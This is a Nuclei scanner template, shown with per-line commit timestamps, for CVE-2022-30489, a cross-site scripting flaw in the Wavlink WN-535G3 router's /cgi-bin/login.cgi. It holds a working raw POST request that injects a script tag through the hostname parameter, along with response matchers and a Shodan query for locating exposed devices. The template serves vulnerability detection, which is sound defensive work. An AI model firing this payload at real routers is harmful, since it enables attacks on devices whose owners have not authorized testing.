2022-05-14 07:30:47 +00:00
|
|
|
id: CVE-2022-30489
|
|
|
|
|
|
|
|
info:
|
2022-09-16 19:50:10 +00:00
|
|
|
name: Wavlink WN-535G3 - Cross-Site Scripting
|
2022-05-14 07:30:47 +00:00
|
|
|
author: For3stCo1d
|
2022-09-16 20:03:07 +00:00
|
|
|
severity: medium
|
2022-05-18 20:58:07 +00:00
|
|
|
description: |
|
2022-09-16 19:50:10 +00:00
|
|
|
Wavlink WN-535G3 contains a POST cross-site scripting vulnerability via the hostname parameter at /cgi-bin/login.cgi.
|
2023-09-06 11:59:08 +00:00
|
|
|
remediation: |
|
|
|
|
Apply the latest firmware update provided by the vendor to mitigate this vulnerability.
|
2022-05-14 07:30:47 +00:00
|
|
|
reference:
|
|
|
|
- https://github.com/badboycxcc/XSS-CVE-2022-30489
|
2022-07-04 09:01:16 +00:00
|
|
|
- https://github.com/badboycxcc/XSS
|
2022-09-16 19:50:10 +00:00
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-30489
|
2022-05-24 08:19:30 +00:00
|
|
|
classification:
|
2022-09-16 20:03:07 +00:00
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
|
|
cvss-score: 6.1
|
2022-09-16 19:50:10 +00:00
|
|
|
cve-id: CVE-2022-30489
|
2022-09-16 20:03:07 +00:00
|
|
|
cwe-id: CWE-79
|
2023-11-23 06:31:41 +00:00
|
|
|
epss-score: 0.00101
|
|
|
|
epss-percentile: 0.41234
|
2023-09-06 11:59:08 +00:00
|
|
|
cpe: cpe:2.3:o:wavlink:wn535g3_firmware:-:*:*:*:*:*:*:*
|
2022-05-14 07:30:47 +00:00
|
|
|
metadata:
|
2023-06-04 08:13:42 +00:00
|
|
|
verified: true
|
2023-09-06 11:59:08 +00:00
|
|
|
max-request: 1
|
2023-07-11 19:49:27 +00:00
|
|
|
vendor: wavlink
|
|
|
|
product: wn535g3_firmware
|
2023-09-06 11:59:08 +00:00
|
|
|
shodan-query: http.title:"Wi-Fi APP Login"
|
2022-05-15 11:00:27 +00:00
|
|
|
tags: xss,cve2022,wavlink,cve,router,iot
|
2022-05-14 07:30:47 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2022-05-14 07:30:47 +00:00
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /cgi-bin/login.cgi HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
|
|
|
newUI=1&page=login&username=admin&langChange=0&ipaddr=x.x.x.x&login_page=login.shtml&homepage=main.shtml&sysinitpage=sysinit.shtml&hostname=")</script><script>alert(document.domain);</script>&key=M27234733&password=63a36bceec2d3bba30d8611c323f4cda&lang_=cn
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
words:
|
|
|
|
- '<script>alert(document.domain);</script>'
|
2022-05-15 11:00:27 +00:00
|
|
|
- 'parent.location.replace("http://")'
|
|
|
|
condition: and
|
2022-05-14 07:30:47 +00:00
|
|
|
|
|
|
|
- type: word
|
|
|
|
part: header
|
|
|
|
words:
|
|
|
|
- text/html
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
2023-11-23 06:41:10 +00:00
|
|
|
# digest: 4a0a00473045022100e86a8196ab7d47bc813c71a5473e4525b2565a2d817283e6386f58f77b62e14402202c9b5de31ad8e6528fa9a03a1e4bbabbda0efecda4aa29a674dc04856caf3a7b:922c64590222798bb761d5b6d8e72950
|